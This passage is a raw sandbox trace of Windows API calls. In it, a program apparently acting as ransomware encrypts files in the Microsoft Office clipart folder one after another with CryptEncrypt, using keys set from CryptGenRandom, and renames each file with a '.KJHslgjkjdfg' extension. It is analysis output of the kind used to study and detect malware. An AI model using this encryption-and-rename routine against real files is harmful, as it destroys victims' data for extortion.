hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.623] GetProcessHeap () returned 0x2ef0000 [0216.623] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.kjhslgjkjdfg")) returned 1 [0216.625] CloseHandle (hObject=0x130) returned 1 [0216.625] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9355900, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9355900, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02127_.WMF", cAlternateFileName="")) returned 1 [0216.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.627] GetProcessHeap () returned 0x2ef0000 [0216.627] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.627] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.627] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.630] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.630] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.630] GetProcessHeap () returned 0x2ef0000 [0216.630] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.630] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.630] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.631] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.631] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.631] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.631] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xfe4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xfe4, lpOverlapped=0x0) returned 1 [0216.631] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xff0, dwBufLen=0xff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xff0) returned 1 [0216.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.631] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xff0, lpOverlapped=0x0) returned 1 [0216.631] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.631] SetEndOfFile (hFile=0x130) returned 1 [0216.634] GetProcessHeap () returned 0x2ef0000 [0216.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.634] GetProcessHeap () returned 0x2ef0000 [0216.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.kjhslgjkjdfg")) returned 1 [0216.636] CloseHandle (hObject=0x130) returned 1 [0216.636] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02262_.WMF", cAlternateFileName="")) returned 1 [0216.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.637] GetProcessHeap () returned 0x2ef0000 [0216.637] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.637] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.638] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.638] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.638] GetProcessHeap () returned 0x2ef0000 [0216.638] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.638] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.638] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.638] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.639] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.639] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.639] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.640] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.640] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.640] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.640] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd00, lpOverlapped=0x0) returned 1 [0216.640] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd00, dwBufLen=0xd00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd00) returned 1 [0216.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.640] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd00, lpOverlapped=0x0) returned 1 [0216.640] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.640] SetEndOfFile (hFile=0x130) returned 1 [0216.642] GetProcessHeap () returned 0x2ef0000 [0216.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.642] GetProcessHeap () returned 0x2ef0000 [0216.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.642] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.kjhslgjkjdfg")) returned 1 [0216.644] CloseHandle (hObject=0x130) returned 1 [0216.644] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02264_.WMF", cAlternateFileName="")) returned 1 [0216.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.645] GetProcessHeap () returned 0x2ef0000 [0216.645] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.645] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.646] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.646] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.646] GetProcessHeap () returned 0x2ef0000 [0216.646] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.646] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.646] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.646] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.649] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.649] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.649] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.649] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8e0, lpOverlapped=0x0) returned 1 [0216.649] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0) returned 1 [0216.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.649] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8e0, lpOverlapped=0x0) returned 1 [0216.649] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.649] SetEndOfFile (hFile=0x130) returned 1 [0216.651] GetProcessHeap () returned 0x2ef0000 [0216.651] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.651] GetProcessHeap () returned 0x2ef0000 [0216.651] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.kjhslgjkjdfg")) returned 1 [0216.652] CloseHandle (hObject=0x130) returned 1 [0216.653] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02356_.WMF", cAlternateFileName="")) returned 1 [0216.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.654] GetProcessHeap () returned 0x2ef0000 [0216.654] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.654] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.655] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.655] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.655] GetProcessHeap () returned 0x2ef0000 [0216.655] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.655] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.655] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.656] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.656] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.656] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.656] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.656] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe14, lpOverlapped=0x0) returned 1 [0216.656] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe20, dwBufLen=0xe20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe20) returned 1 [0216.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.657] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe20, lpOverlapped=0x0) returned 1 [0216.657] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.657] SetEndOfFile (hFile=0x130) returned 1 [0216.659] GetProcessHeap () returned 0x2ef0000 [0216.659] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.659] GetProcessHeap () returned 0x2ef0000 [0216.659] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.kjhslgjkjdfg")) returned 1 [0216.661] CloseHandle (hObject=0x130) returned 1 [0216.661] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02361_.WMF", cAlternateFileName="")) returned 1 [0216.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 